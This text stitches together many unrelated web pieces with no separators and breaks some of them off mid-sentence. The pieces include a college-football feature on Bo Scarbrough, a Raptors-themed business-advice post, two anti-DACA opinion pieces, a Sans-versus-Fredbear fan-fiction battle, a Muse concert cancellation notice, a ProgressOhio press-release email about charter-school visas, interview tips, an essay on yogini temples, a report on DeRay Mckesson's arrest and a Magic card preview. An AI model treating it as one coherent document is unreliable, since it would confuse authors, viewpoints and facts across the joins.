Henry and Scarbrough are around the same size. Both are rare athletes who have run low 4.5 40s while weighing more than 240 pounds. They also look similar on the football field with big frames, dreadlocks and the ability to both overpower and outrun opposing defensive players.
The comparisons to last year's Heisman Trophy winner added to expectations that were already outrageous and unfair for the former prized recruit from Tuscaloosa, expectations that became even more ridiculous after Scarbrough rushed for 243 yards and four touchdowns while averaging 11.6 yards per carry during Alabama's first two spring scrimmages.
It created a lot of pressure for a running back that, while talented, hadn't gotten more than 18 carries in a season since 2013 and was just one year removed from suffering a torn ACL in April 2015.
That's why Scarbrough's mom, Donetris, got annoyed whenever she saw or heard people making the comparisons to Henry leading up to the season, whether it was on social media or at the hospital she works at.
"We saw and heard it like every day, and I hated it," Donetris Scarbrough said. "Every time I looked on Facebook or social media, I would see people posting pictures and comparing them. We love Derrick Henry, and Derrick did a great job, but don't compare him to Derrick Henry. Bo is Bo. It put so much pressure on Bo, and deep in his mind he was thinking, 'OK, I've got to do this. I've got to do that.'"
Scarbrough didn't discuss the comparisons with people close to him -- and didn't say anything about the comparisons creating additional stress. Still, those close to him could see that it led to added pressure.
"Before the season, he was held so high and expected to be a Derrick Henry," Scarbrough's cousin, Luther Allen, said. "It was a lot of pressure. I could see it because I'm close to him and I know him."
'He's just warming up'
Scarbrough says he began to get into a groove during Alabama's 10-0 win over LSU Nov. 5.
After getting eight carries or fewer in each of the Tide's previous seven games, Scarbrough had 11 carries for 52 yards vs. LSU, including a key 10-yard run to convert a fourth-and-1 early in the fourth quarter while playing through a sprained knee.
After missing two games due to the knee injury, Scarbrough has had 11 rush attempts or more and 90 rushing yards or more in each of the Tide's last three games, including a career-high 19 carries, an Alabama bowl record 180 yards and two touchdowns in the Peach Bowl.
Scarbrough's second touchdown was a 68-yard run during the fourth quarter that pushed the Tide's lead to 24-7.
Alabama star Minkah Fitzpatrick has special friendship with 10-year old battling cancer One of Alabama's top players and his family have become close with a young boy battling cancer
While celebrating the touchdown, some Alabama defensive players brought up a Scarbrough prediction from the week before that proved accurate. According to star linebacker Reuben Foster, Scarbrough had told teammates that he was "going to go off" against Washington. He did.
For the year, Scarbrough is up to 719 rushing yards, nine rushing touchdowns and an average of 6.6 yards per carry. The yards per attempt is higher than the 5.8 yards per carry Henry averaged as a sophomore in 2014, the year before he ran for 2,219 yards and 28 touchdowns en route to winning the Heisman Trophy.
People have been telling Scarbrough's mom at work, "That's the Bo we've been looking for all season."
"He's just warming up," she says.
Aided by Lifetime
After the 68-yard touchdown run against Washington, Allen got a text that read, "He looked like Leonard Fournette just now."
"He looks like Bo, not Leonard," Allen responded.
Like Donetris Scarbrough, Allen isn't a fan of people comparing Bo to Henry or any other running back.
He sees Scarbrough as unique -- both as a running back and as a person.
This rare combination of size, speed and power is also an aspiring FBI agent and maybe the only star football player you'll find that's open about his love for the Lifetime channel.
Courtesy of Scarbrough, Allen is also now hooked on Lifetime and said Scarbrough recently recommended a Lifetime movie called "The Wrong Child" about a teenager that torments a family after presenting himself as the father's long-lost son.
Even now, the routine hasn't changed.
Scarbrough will go through practice and his normal daily work. Then, according to Allen, Scarbrough heads home and decompresses with some Lifetime.
It's working for him.0 Shares 0 Flares ×
You don’t need to follow basketball to admire how the Toronto Raptors are turning heads in the NBA. They boast the third-best win percentage in the league, lead the NBA in offensive rating, and point guard Kyle Lowry is already an early contender for MVP. In short, the Raps have accomplished a masterful turnaround from this point last year – they now have 15 wins, and it took them until Dec. 31 last year to reach that win mark.
How do all these heady stats apply to your work as a B2B professional? Below, find out why this scrappy tight-knit team can serve as an inspiration to any B2B company looking to alley-oop over the competition:
If your team is clicking, don’t break up the family
The Raptors made the playoffs last year, unfortunately losing in the first round, but achieving this milestone showed how resiliency pays off: the team’s core didn’t make any major moves since the early 2013 trade sending Rudy Gay to the Grizzlies for key bench players. And the trend continued in 2014, when no starting player was traded away. The Raptors GM obviously understood the importance of keeping your core team together, especially since the starting five were clicking remarkably well late last season. And wouldn’t you know it, this year’s starters are executing on offence and defence that has even surprised this hardcore Raptors fan.
If you have a great team that may be facing a few hiccups right now, don’t boot someone out too quickly. Instead, find out what is bruising the relationship and learn about any grievance causing the rift. The Raptors are excelling because they’re a family and there’s no reason to think your company can’t follow suit. You just need patience and focus.
Have each other’s backs
One of the most fascinating aspects of basketball is how successful teams never go for their own glory but instead back each other like soldiers on a battlefield. If an opponent blows by one of the Raptors, there’s Amir Johnson holding court with his hands up and forcing a tough shot. Or Lowry will take a charge and force a turnover. The Raptors are constantly talking to each other on the court. Almost every possession includes a selfless pass to the open man.
Last week, Raps guard DeMar Derozan (one of the best players on the team) injured himself and missed the last three games. The team didn’t pity themselves and crumble; instead, they won two of those three games, taking two against hardened Western Conference opponents the Utah Jazz and the Sacremento Kings. Other players stepped up in DeMar’s absence.
Do you do the same? Do you pass the ball to the right teammate or do you pass the buck? Well-oiled companies recognize the importance of helping each other achieve a common mission, even if that means shouldering more work. Remember, if one team member fails, the team is hurt as a whole. Sure, that means you might be resentful someone dropped, er, the ball, but you’re not working in a silo. Building confidence in your company means every staffer knowing they can be supported by others.
Value your bench players
The starting five for the Raps are filled with all-star material, but what about those bench players who play fewer minutes but are sorely needed when the starters need to rest? Toronto’s bench ranks third in defensive efficiency, so they are tough defenders when the starters ride the pine. How’s that for clutch?! Often, opponents carve up bench players, seeing them as second-rate ballers who may not be as talented as the core team. And don’t discount the skillset of a Raptors bench player – last week, Raptors guard Lou Williams won the Eastern Conference Player of the Week Award for just being plain lights-out offensively.
Who are your bench players and are you valuing what they bring to your firm? They might not be staff you see every day, but maybe they’re freelance copy writers or part-time salespeople or an external PR team bringing you great press. How are you showing your appreciation to these role players? Do they feel part of the family at the office when they visit? Remember to respect what part-timers and freelancers offer your business, especially if they are surpassing expectations on a monthly basis.
Play a full 48
In basketball terms, playing a full 48 means you’re working hard for the entire 48 minutes of the game, not just the last quarter, or the first few minutes of the second. Every player is on the same playbook page. No one is slacking. Focus is on the win and the win only. In November, the Raps were criticized for being a fourth-quarter team, allowing opponents to enjoy a sizeable lead before buckling down and closing out the game with a win in the final quarter. But that’s a dangerous game to play, especially if injuries cripple a team (see above). In December, though, the Raptors have played the full 48, proving their worth on defence and especially on offence, where they are second in the league in points scored. There’s no quit in this team, to quote almost every Raptors broadcaster this year.
Look at your company and determine if you and your team are playing the full 48. Do you have weeks where laziness creeps into the corporate culture? Are projects taking longer than expected to be completed? Is someone not pulling their weight? Assessing your company’s focus is a valuable exercise to recognize any deficiencies hampering your road to profitable. It might not take a week to uncover the problem. It might take a month or even longer. But you shouldn’t let your team just play one impressive financial quarter and allow them to squander the rest of the game.
For more advice, check out what every business can learn from David’s Tea.
Photos via Raptors.comHere’s how the Dream Act/DACA amnesty struggle shapes up as of today…
Each side wants something, and has vowed to remain steadfast on demands. But as is always the case with immigration legislation, there are three sides, not two. There are traditional, conservative anti-amnesty Republicans, passionate Republican immigration advocates, and liberal Democrats, united behind amnesty and in opposition to all things President Trump.
Twenty years ago, a congressional faction called the Blue Dog Coalition had 27 conservative Democratic members that, if it were still in existence, President Trump might be able to count on. But the Blue Dogs slowly faded as a force, and, on immigration, Democrats solidly favor amnesty.
The Democrats want amnesty for the so-called Dreamers, and also for the DACAs, two distinctly separate groups that the media will often conflate. A Dreamer amnesty would grant about 3.6 million aliens lifetime employment authorization, Social Security numbers, and eventual citizenship. About 700,000 DACAs would receive the same benefits.
Moreover, every year, one million legal immigrants enter the U.S. and become immediately work authorized. The complete immigrant worker tally is into the millions, and also includes illegal immigrants, temporary guest workers and blue collar employment-based visa holders like H-1B.
For the tens of millions under-employed, unemployed and the four million newly graduated young Americans hoping to get a decent job, the prospect of adding through amnesty more than five million new potential workers into a slack labor market makes their challenges harder to overcome. More jobs competition is the last thing struggling Americans need.
Worse, the resultant chain migration from either or both amenities would bring millions of the new immigrants’ relatives to the U.S., all work authorized. On average, each new legally arrived immigrant petitions 3.4 family members to come to America.
Conservative Republicans want a pro-America immigration package that is best represented in a new bill that Virginia U.S. Rep. Dave Brat recently introduced. Called the three-in-one bill because it draws from three previously introduced bills, Brat’s legislation would, first, mandate American job-protecting E-Verify. Second, it would end the lottery visa whose fatal flaws were exposed when it became known after the October New York terrorist attack which left eight dead that Uzbekistan national Sayfullo Habibullaevic Saipov had entered on that visa. Third, it would end chain migration.
When polled on whether |
break time.
Sans falls asleep standing up. Meanwhile, next to Fredbear's tombstone, there was a small gift box. The tombstone dissapeared into pink light, and a light arose from the gift box. The gift box grew in size, revealing a revived Fredbear. Fredbear looked at the sleeping skeleton.
Fredbear (Thinking): Why is he sleeping? He should have left already! Well then, I'm finishing this now. Before he remakes this thing again...
Fredbear used Mega Bite, and, much to Fredbear's horror, Sans dodged the attack.
Sans: what, did you really think you would be able to-
(Cue Stone Cold (FNAF World final boss))
Sans stopped talking. The Mimic Ball behind Fredbear started flashing. Suddenly, Virtua Freddy teleported in front of Sans and attempted a Mega Bite attack. Sans narrowly dodged and fired a massive Gaster Blaster at Fredbear. The laser connected and Fredbear was damaged heavily. Then a large amount of biting fangs started attacking Sans from Fredbear's Counter:Bite chip. Sans narrowly dodged the hits.
(Music stops)
Sans: huh, I guess we're at a standstill, huh?
Fredbear: That seems to be the case.
Sans: you know, you really haven't done anything to wrong me or the underground at all.
Fredbear: You'd be more of a help then a hurt here.
Sans: so we basically did this for literally no reason?
Fredbear: As you would say, "yup."
Sans: well then, how 'bout i make it up to you. i'll take you to grillby's.
Fredbear: Sure, I guess.
Sans: follow me. i know a shortcut.
Sans walks in a random direction and Fredbear follows.
Aftermath
K.O.?
Fredbear is shown eating bolts and telling jokes at Grillby's with sans in the seat next to him, also telling jokes.
Boomstick: Huh? What happened?
Wiz: See, comparing these two characters, at least for the time being, is impossible.
Boomstick: And why is that?
Wiz: We don't know if Fredbear has a soul, we don't know how Karmic Retribution works, heck, we don't even know if it's called that. We don't know how fast either combatent is, so giving this battle an outcome really would just be opinion. The fight itself, as you know, was only for entertainment.
Boomstick: Yeah, the problem with the connections being that these two characters are such a mystery, they're such a damn mystery we can't even compare them. Looks like this battle had to bear going bone dry...
Wiz: This battle is a draw.
Next time on Death Battle!
???: Know my name and fear it! I am Onslaught!Muse are very disappointed having been forced to pull their headline show last night due to a sudden and extreme storm which started raging 10 minutes before their set was due to begin. The performance was pulled by the festival organisors for safety reasons even though Muse were willing to take on the elements. As the band were walking to the stage the sky turned black and produced an unprecedented thunderstorm. On reaching the stage massive gusts of wind pulled the back of the stage clean off and the crew were found battling heroically with the elements, tying down tarpaulin and attempting to resuce the band's gear which ended up taking a severe lashing. 8 inchs of rain flooded the festival site within 30 minutes, hopefully fans and their tents escaped unscathed.State Dept. Notified CIA, National Security Council About Suspicious Charter School Visas
From:brianr@progressohio.org To: podesta@law.georgetown.edu Date: 2014-08-12 15:50 Subject: State Dept. Notified CIA, National Security Council About Suspicious Charter School Visas
[1]ProgressOhio ----------------------------------------------------------------------------------------------- For Immediate Release Contact: Brian Rothenberg, 614 441-9145 Sandy Theis, 614 940-0131 State Dept. Notified CIA, National Security Council About Suspicious Charter School Visas The U.S. State Department raised serious and repeated concerns about Turkish charter schools in America, sending cables to the CIA, Secretary of Defense and the President's National Security Council. Special attention was paid to the large number of Turkish nationals with questionable credentials seeking visas to teach at schools such as Ohio's Horizon Science Academies, which are linked to a controversial Islamic faith leader. A review of over one hundred diplomatic cables made available at WikiLeaks found numerous warnings about underqualified applicants for teaching visas. One cable states that applicants "might be using the reputation of the school as a cover to get to the US." Another, ominously observed there is "considerable debate" about whether members of their faith movement were "a threat to secular governments." Background Fethullah Gulen is an exiled Muslim cleric living in Pennsylvania. He is currently the subject of an extradition request[1][1] on charges of espionage and attempting to overthrow the Turkish government.[2][2] Gulen has millions of well-organized followers in central Asia and his organization is said to have "some of the characteristics of a cult."[3][3] Gulen's followers founded and administer a number of charter schools, including Ohio's Horizon Science & Noble Academies. These schools import the majority of their administration staff and many of their teachers on work visas from Turkey and neighboring countries. Secret diplomatic cables show that the "evasiveness" of the applicants and their "uneven at best" qualifications left State Department employees "uneasy." They voiced these concerns to the top levels of government and even suggested the Department of Homeland Security should investigate the schools. Memos Back Ohio Teacher Testimonies Teachers who had worked at Dayton's Horizon Science Academy made headlines last month when they told the state school board about apparent test tampering, attendance padding, Turish teachers who could barely speak English and even an incident when parents were not told their adolescent children were caught having oral sex at a school function. Many of the teachers' observations are supported by the cables. In one memo, the US consulate observed Turkish visa applicants with an "inability to speak English" and a "lack of understanding of basic math concepts (when they were going to teach math or science subjects)." In another memo, federal officials note that Gulen schools in Turkmenistan can only employ teachers who are "fully qualified in the field.'' Teachers employed by traditional public schools in Ohio must have a college degree and teach in the area or grade level in which they are licensed. Ohio charter schools, however, are exempt from that requirement This led ProgressOhio Executive Director Brian Rothenberg to ask, "Why are Ohio charter schools not required to employ only qualified teachers? Taxpayers should be outraged these schools are hiring teachers who aren't even qualified to teach in their home countries." Rothenberg continued, "America's top intelligence and diplomatic personnel confirmed what a panel of Ohio teachers told the state board of education: Many of the teachers and administrators at these schools are unqualified, and students and taxpayers are suffering because of it. The only entity that doesn't seem to understand the severity of the problem is the state school board.'' Excerpts from Secret Cables Over a quarter million previously secret diplomatic cables were published by WikiLeaks. ProgressOhio review approximately one hundred of them referencing Fethullah Gulen and found the following: * "There is considerable debate whether the Gulen movement represents a threat to secular governments. Skeptics argue the Gulenists seek to transform societies from the inside-out by developing sympathetic elites in a country's government and business circles. [...] Gulenists' penchant for secrecy raises questions. For example, Gulenists seeking U.S. visas at the Embassy often are evasive about their religious views and their work-related duties in the U.S. (NOTE: Many U.S. visa applicants at the Embassy seek to work at Gulenist-linked schools in the U.S.)"[4][4] * "...there are concerns that Gulenist charter schools in the U.S. are capitalizing on the local successes to petition for visas for marginally qualified temporary workers."[5][5] * "While on the surface a benign humanitarian movement, the ubiquitous evasiveness of Gulenist applicants -- coupled with what appears to be a deliberate management of applicant profiles over the past several years -- leaves Consular officers uneasy, an uneasiness echoed within Turkey by those familiar with the Gulenists."[6][6] * [I]n summer/fall of 2008, the consular section received a number of visa applications for highly-skilled temporary workers (H1B) to go teach in charter schools in the U.S. The applicants all had in common a tie to a Gulenist school, either in Turkey or in Turkmenistan. Their qualifications were uneven at best. Some were bona fide teachers with several years of experience and advanced degrees. Others claimed teaching experience by assisting, volunteering, or substituting at a Gulenist school (language center or high school) in Turkmenistan. These minimally-qualified applicants prompted further investigation, and it turns out that the charter schools in the U.S. are also part of the broader Gulenist movement. The minimally-qualified applicants, petitions were returned to DHS for revocation based on a lack of qualifications, such as their inability to speak English, possession of degrees not related to the subjects that they intended to teach and further lack of understanding of basic math concepts (when they were going to teach math or science subjects).[7][7] * On the other hand, we are concerned by the link with charter schools in the U.S. that have petitioned for marginally-qualified H1B candidates... These applicants were simply not convincing...might be using the reputation of the school as a cover to get to the [United States]. Post, after discussions with others in the region that see similar applicants, recommends that these H1B candidates receive a high degree of scrutiny before any visas are approved.... Further, Consular Affairs, Fraud Prevention might, in concert with the Department of Homeland Security, wish to investigate or audit these Turkish-run charter schools in the U.S. for compliance with U.S. immigration law.[8][8] ------------------------ [9][1] [10]http://act.progressohio.org/go/270?t=1001&akid=547.522478.T8HeR7 [11][2] [12]http://act.progressohio.org/go/271?t=1002&akid=547.522478.T8HeR7 [13][3] [14]http://act.progressohio.org/go/272?t=1003&akid=547.522478.T8HeR7 [15][4] [16]http://act.progressohio.org/go/273?t=1004&akid=547.522478.T8HeR7 [17][5] [18]http://act.progressohio.org/go/274?t=1005&akid=547.522478.T8HeR7 [19][6] [20]http://act.progressohio.org/go/275?t=1006&akid=547.522478.T8HeR7 [21][7] [22]http://act.progressohio.org/go/274?t=1007&akid=547.522478.T8HeR7 [23][8] Ibid. References Visible links 1. file:///dev/stdin#_ftn1 2. file:///dev/stdin#_ftn2 3. file:///dev/stdin#_ftn3 4. file:///dev/stdin#_ftn4 5. file:///dev/stdin#_ftn5 6. file:///dev/stdin#_ftn6 7. file:///dev/stdin#_ftn7 8. file:///dev/stdin#_ftn8 9. file:///dev/stdin#_ftnref1 10. http://act.progressohio.org/go/270?t=1008&akid=547.522478.T8HeR7 11. file:///dev/stdin#_ftnref2 12. http://act.progressohio.org/go/271?t=1009&akid=547.522478.T8HeR7 13. file:///dev/stdin#_ftnref3 14. http://act.progressohio.org/go/272?t=1010&akid=547.522478.T8HeR7 15. file:///dev/stdin#_ftnref4 16. http://act.progressohio.org/go/273?t=1011&akid=547.522478.T8HeR7 17. file:///dev/stdin#_ftnref5 18. http://act.progressohio.org/go/274?t=1012&akid=547.522478.T8HeR7 19. file:///dev/stdin#_ftnref6 20. http://act.progressohio.org/go/275?t=1013&akid=547.522478.T8HeR7 21. file:///dev/stdin#_ftnref7 22. http://act.progressohio.org/go/274?t=1014&akid=547.522478.T8HeR7 23. file:///dev/stdin#_ftnref8 [2]ProgressOhio [3]you_tube[4]facebook[5]twitter[6]google+[7]dribbble ProgressOhio [8]Click here to unsubscribe 172 E. State St Columbus, OH 43215 614 441-9145 contact@progressohio.org You can unsubscribe from this mailing list at any time: http://act.progressohio.org/cms/unsubscribe/unsubscribe/?akid=547.522478.T8HeR7 References Visible links 1. http://www.progressohio.org/?akid=547.522478.T8HeR7 2. http://www.progressohio.org/?akid=547.522478.T8HeR7 3. https://www.youtube.com/user/ProgressOhio 4. https://www.facebook.com/ProgressOhio 5. https://twitter.com/progressohio 6. https://plus.google.com/109684301570409925514/ 7. http://www.progressohio.org/?akid=547.522478.T8HeR7 8. http://act.progressohio.org/unsubscribe/unsubscribe/?akid=547.522478.T8HeR7Biggestmistake, by far, is that the candidates interview with a loaded agony of getting a job, instead of simply demonstrating who they are.See, when you're agonizing about getting that job, you'll be nervous, you'll judge yourself during the interview, you'll amplify small mistakes, you'll fumble.But when you go there to simply, simply toto see how far you yourself can get, and toyou will notice that most fumbling starts to go away. You'll take control of the interview then, because you're not agonizing.Like Bryan Cranston says:If you haven't watched the following clip, it's worth watching, over and over again. He is talking about actors and audition, which is very similar to interviewing:
The other bigmistake, is actually madethe interview viz. they under-estimate the amount of preparation required. They walk into an interview like it's a lottery ticket, surprised why they didn't win it.There are some other bigmistakes also:1. Not realizing thatthe interview is about your communication and behavior in the interview. Had communication and behavior not been important, the companies would just send you some coding problems to do, and generate an automatic offer letter after test-cases passed. But no company does that. Why? Because they want a conversation, and you have to be ready for an inspiring conversation.2. Trying to go for the most optimal solution from the get go, and overlooking to give the brute force. If you can't think of an optimal solution, and you don't give a brute-force solution either, the interviewer keeps wondering if you even understood the problem.Remember, that an interview is a date; it's not a standardized test. It's about showing who you are, and not about agonizing about fitting into someone's mould. You will make far less mistakes when you recognize the true nature of the beast.[I runfor a living. We help candidates prepare to crack into some of the best tech companies]Our Parliament House, completed in 1927, has been patterned on the lines of the circular Chausath Yogini Temple, dating back to circa 1323AD.Bejewelled women once lived in Hindu temples, immersed themselves in art, danced and sang and made music in temples, had multiple lovers, were bound to the deity, not to any one man, and their beauty was captured in the sensuous images on temple walls. Unable to fathom such matriarchal structures, British rulers of India deemed these free women as prostitutes. Social reformers supported this move, convinced these women were exploited and could not possibly have agency over their bodies. Freedom fighters offered no support, as women, for them, could only be mothers and daughters and sisters, not desiring and desirable women. Male priests rode this patriarchal and puritanical wave to delegitimise the feminine hold over temple rituals and temple wealth.This was all ironical, for ancient architects imagined the temple as the reclining body of a languid woman with her womb (garbha) housing the enshrined deity. Temples were architectural celebration of sensuality and fertility that challenged the monastic sterility of Buddhist viharas. In fact, a thousand years ago, before the building of the grand temple complexes of India dedicated to male deities such as Vishnu and Shiva, before the arrival of Islam that preferred a bodiless God, India saw temples exclusively dedicated to womenhood — the circular temples of the yoginis.Few still survive. There are two in Odisha: Hirapur near Bhubaneshwar and Ranipur near Bolangir. And there are three in Madhya Pradesh at Bedaghat near Jabalpur, at Mitaoli of Morena district, near Gwalior and the not-quitecircular ruins in Khajuraho. These temples were abandoned long ago for mysterious reasons. Was it a natural decline following rise of devotional cults to Shiva and Vishnu? Was it the push back by Vedantic monasticism led by celibate men? Was it the arrival of Muslim warlords such as the Afghan general Kalapahada who attacked Odisha and destroyed much of its iconography? We can only speculate. The temples were rediscovered and restored by archaeologists only in the last century. Sanskrit texts are ambiguous about these deities, with numerous lists of names, and attributes, and rituals, but no binding mythology other than tales of Durga and Kali riding out to battle with armies of female warriors, often the shaktis of male gods, who drink the blood of asuras.A typical Hindu temple is square and its orientation is linear, the deity facing the east mostly. But these circular temples, the deities facing every direction, though the entrance to the well-like structure does face the east. The characteristic vimana or dome is missing; in fact the temples have no roof. In Odisha, at Hirapur and Ranipur, the images of the yoginis are embedded in the inner walls and face the central shrine. In Madhya Pradesh, at Bedaghat and Mitaoli, the yoginis have individual pillared shrines with a roof but they all open into a central circular courtyard. The images are relatively intact in Hirapur, Ranipur and Jabalpur. Only three images survive in Khajuraho. In Morena, there is no iconography. Were they removed, and replaced with Shiva-linga? No one knows.The images in Hirapur show women in various postures. Some dancing, some hunting with bows and tridents, some making music on drums, some drinking blood, or wine, some doing household chores with a winnow in their hand. Most women are bejewelled, with fine hairstyles. Others have the head of a snake, or a bear, or a lion, or an elephant. They stand on human heads, male bodies, on crows, roosters, peacocks, bulls, buffaloes, donkeys, pigs, scorpions, crabs, camels, dogs, on water and in the midst of fire. Some are recognisable — like the gaunt Chamunda, the lute-bearing Saraswati, the pot-holding Lakshmi, female forms of Vishnu’s avatars such as Narasimhi and Varahi and of Vedic gods like Indrani.What is clear is that yoginis are lifeaffirming. If the yogi withdrew from life, the yoginis seemed to have embraced life. If the yogi yearned for immortality, the yogini did not fear mortality. If the yogi sought to withhold desires, the yogini unleashed desires.Why sixty-four? Again,only speculation. Maybe it refers to the sixty four arts the apsaras and courtesans of yore were proficient in. Maybe the meaning is more esoteric, referring to the eight divisions of time that make up a day or the eight directions or the boxes of the chess board, a game invented in India.All these circular shrines have a central structure. At Hirapur, the central structure is a pavilion, empty and opens to the sky, with four Bhairava and four Yogini images on the four walls. At Ranipur, the central shrine is occupied by a three headed image of Bhairava, Shiva’s fierce form. At Morena, there is the linga. At Bedaghat, there is a temple that enshrines, rather unusually, the image of Shiva and Parvati on Nandi. Was it placed there later? For Shiva temples typically worship Shiva in aniconic form (linga) rather than iconic form (svarupa).When the goddess appears as a collective in Tantrik traditions, even when they stand in a line and not in a circle, they are accompanied by one male — the Bhairava, often shown as fierce and with an erect phallus. He accompanies them, as guardian and lover. The women circle him. Why? Is the world-renouncing hermit being forced to acknowledge the feminine? Is it a depiction of nature, where every womb is sacred and only the alpha amongst males matters; the rest disposable? Or could this be a Tantrik precursor of what would later become the rasa-leela with the yoginis turning into shy gopis and Bhairava becomes the charming Krishna? Speculation is all we have.Just when you think India has all but forgotten the yoginis, someone tells you that the circular yogini shrine of Mitaoli inspired British architects during the Raj who built the Indian parliament. Yes, it is circular, yes it has a circular courtyard, and yes, there is a central hall. Too many Bhairavas inside maybe; time for more yoginis?DeRay Mckesson is one of the best known voices of the Black Lives Matter movement and he was arrested July 9 while protesting recent police shootings of black men in Baton Rouge and suburban St. Paul. Here's what else you should know about him. (Monica Akhtar,Whitney Shefte/The Washington Post)
DeRay Mckesson, one of the most prominent activists associated with the police reform protest movement, was arrested late Saturday in Baton Rouge, where he traveled to demonstrate in solidarity with residents angered by the recent death of Alton Sterling after an officer-involved shooting that was captured on video.
He was released Sunday afternoon after being taken into custody about 11 the night before.
Two fellow activists who witnessed the arrest described it as physically violent.
[Sharp emotions, further protests deepen nation’s divide over race and policing]
“The officers won’t give their names,” said Brittany Packnett, a co-founder with Mckesson of the group Campaign Zero, a prominent activist collective. “He was clearly targeted.”
She later tweeted that 100 people were arrested in Baton Rouge. A Baton Rouge parish prison official later told The Washington Post that more than 120 people were arrested across multiple protest sites.
Mckesson was charged with obstructing a highway of commerce, said the official, who spoke on the condition of anonymity because she was not authorized to talk to reporters.
“He was held an inordinate amount of time,” said Roy J. Rodney Jr., Mckesson’s attorney. “And normally people who peacefully protest are not arrested in this fashion.”
A probable cause affidavit, obtained by Yamiche Alcindor of the New York Times, states that authorities allege that Mckesson twice went onto a road before he was taken into custody.
“During the protest, the defendant entered the roadway and was provided another verbal order to exit the lanes of travel,” the affidavit states. “Moments later, the defendant entered the roadway again and was taken into custody by officers on the scene without incident.”
Protesters had been told to stay out of the road and not disrupt traffic, according to the affidavit.
“I was with local activists when I was arrested yesterday,” Mckesson told The Post after his release. “I was in compliance with the law, and I am confident that this was an unlawful arrest.”
Packnett said Mckesson was using his smartphone to live-stream the ongoing protests when police began forcibly dispersing the crowds. As Mckesson and a group of about eight people walked down the street, an officer approached him and told him that he had been “flagged” and that he would be arrested if he left the sidewalk again.
Moments later, she said, two officers forcefully arrested Mckesson.
“They tackled him. One officer hit the top of his body and another officer, the bottom,” Packnett said.
The altercation knocked the phone from Mckesson’s hand, ending his live broadcast of the demonstration, she said.
Blurry video of the moments before he was taken into custody that was provided to The Post captures his verbal exchange with the officers.
[VIDEO: Black Lives Matter movement, explained]
“The police continue to just provoke people,” Mckesson says after an officer yells to a group of people that if they step on the roadway, they will be arrested.
Then an officer says the man in the “loud shoes” has been “flagged”: “You in them loud shoes, if I see you in the road, if I get close to you, you’re going to jail,” an officer can be heard saying on the video.
In response, Packnett says: “We’re on the shoulder. There is no sidewalk, sir.”
Mckesson is known for wearing a pair of red Nike sneakers and a blue vest to the protests he attends.
The group was walking away from a protest that had been dispersed, traveling alongside road traffic on a street that they said does not have a sidewalk.
Activists continued to talk as they walked up the side of the street. Moments later, an officer’s voice is heard: “City police, you’re under arrest.”
“What?” Mckesson exclaims. “I’m under arrest, y’all.”
Then the video and audio feed ends.
As Packnett and Johnetta Elzie, another prominent protester, tweeted in outrage, word spread quickly through the ranks of national police-reform activists, who feared that Mckesson was targeted deliberately and may be harmed in police custody.
In a text message from police custody, Mckesson had said he and 33 others were in custody together, wrists tied, and being taken to a police precinct.
News of Mckesson’s arrest exploded on social media, with more than 100,000 tweets before dawn using the hashtag #FreeDeRay. Many had urged people to call Baton Rouge police to demand his release.
Sarah Larimer contributed to this report, which has been updated.
Read more:A pro-amnesty group is forecasting that up to 1.76 million young illegal immigrants would get work permits under President Barack Obama’s de facto amnesty announced in June, amid a stalled economy and near-record levels of unemployment.
That estimate is twice as large as the 800,000 new workers predicted by White House officials.
Another 800,000 illegal immigrant youths will be eligible for the de facto amnesty once they graduate, said the report, released Aug. 7 by the Migration Policy Institute, a well-funded, D.C.-based pro-amnesty group.
The new estimate says the de facto amnesty would add as may workers to the legal rolls as the economy has created during the last 12 months, or during all of 2011. Currently, roughly 23 million Americans are unemployed or underemployed, or have dropped out of the workforce.
The officials unemployment rate is currently 8.3 percent, and that number is much higher among young people and minorities.
For example, half of African-Americans in New York are unemployed, and almost half of adults aged 18 to 24 are unemployed. Unemployment among Latinos is also high, with 10.3 percent recorded in July as formally unemployed and still looking for work, according to the Bureau of Labor Statistics.
The new estimates was released after administration officials relaxed the eligibility rules for the controversial amnesty plan, which was first announced by Obama in a June Rose Garden speech.
Under the proposal, younger illegal-immigrants would be given “deferred action” permits for two-year stays, plus a work permit.
The estimate of 1.76 million new workers is a boost from the group’s earlier estimate of 1.35 million new workers.
The increase of 350,000 new workers is prompted by the government’s announcement that it would include high-school dropouts “as long as they have re-enrolled by the date of their application,” said an Aug. 7 press release from the MPI.
Almost 60 percent of the eligible illegal immigrants live in California, Texas, Florida, New York and Illinois.
Roughly 85 percent of the work permits would be awarded to people from South America or Latin America. Nine percent of the work-permits will be given to Asians, said the report.
The president’s campaign-season policy — which was pitched by officials as a large-scale exercise of “prosecutorial discretion” — has been credited by Democrats with boosting Obama’s support among Hispanic voters into the 70 percent level.
Obama’s campaign officials have frequently said they’re trying to win enough Hispanic voters to carry several swing states, including Virginia and Florida.
Controversy over the policy isn’t necessarily a negative for the Obama campaign, because Hispanic voters may feel pressured to rally around other Hispanics and vote for Obama if there’s heated public criticism of the policy.
Still, there are some risks for the Obama campaign: Several polls show the president’s plan is mostly disliked by swing voters in Ohio, Pennsylvania and Florida. Those voters may align themselves with Republican candidate Mitt Romney, who has promised to enforce immigration laws.
The private sector has created only 1 million new jobs in 2012. That’s not enough to keep pace with population growth, which ads roughly 150,000 new graduates and legal immigrants each month.
The unemployment rate has remained flat, partly because hundreds of thousands of surplus workers have dropped out of the labor force. This continued drop in the workforce participation rate is creating a hidden army of unemployed Americans who will likely try to get jobs when the economy starts growing.
Follow Neil on TwitterBlake is the content manager for DailyMTG.com, making him the one you should email if you have thoughts on the website, good or less good (or not good). He's a longtime coverage reporter and hasn't turned down a game of Magic in any format ever.
Magic 2015 is, in large part, the story of Garruk Wildspeaker and his descent into darkness. One of the members of the original "Lorwyn Five" Planeswalkers, Garruk's large piece of the story (and card) will be revealed in time. But we're not here to talk about Garruk today.
Every story—whether it's about a hero's journey or a fall from grace—needs an antagonist, a foil, an opposing force to the main character and often a spark that sets everything in motion.
For Garruk, that antagonist is Liliana Vess, who fought Garruk and cursed him with the Chain Veil.
We've seen Liliana take a few forms over the years after her original appearance.
This Innistrad incarnation of Liliana tore everything down around her, from cards in hand to creatures in play to half of your opponent's permanents, if she stayed in play long enough.
Liliana returned in Magic 2013 and Magic 2014 from the dark realms.
Here, Liliana makes her allegiances to black mana more than clear, with every single ability referencing Swamps in some capacity. She searches, she slices, she dices—as long as Swamps are involved.
Liliana, still hunted by Garruk, returns in Magic 2015, in every sense of the word.
See Liliana's return to form in Magic 2015.
It's fitting that, just as Garruk's journey takes a turn, we see the original Liliana that started him on his dark path.
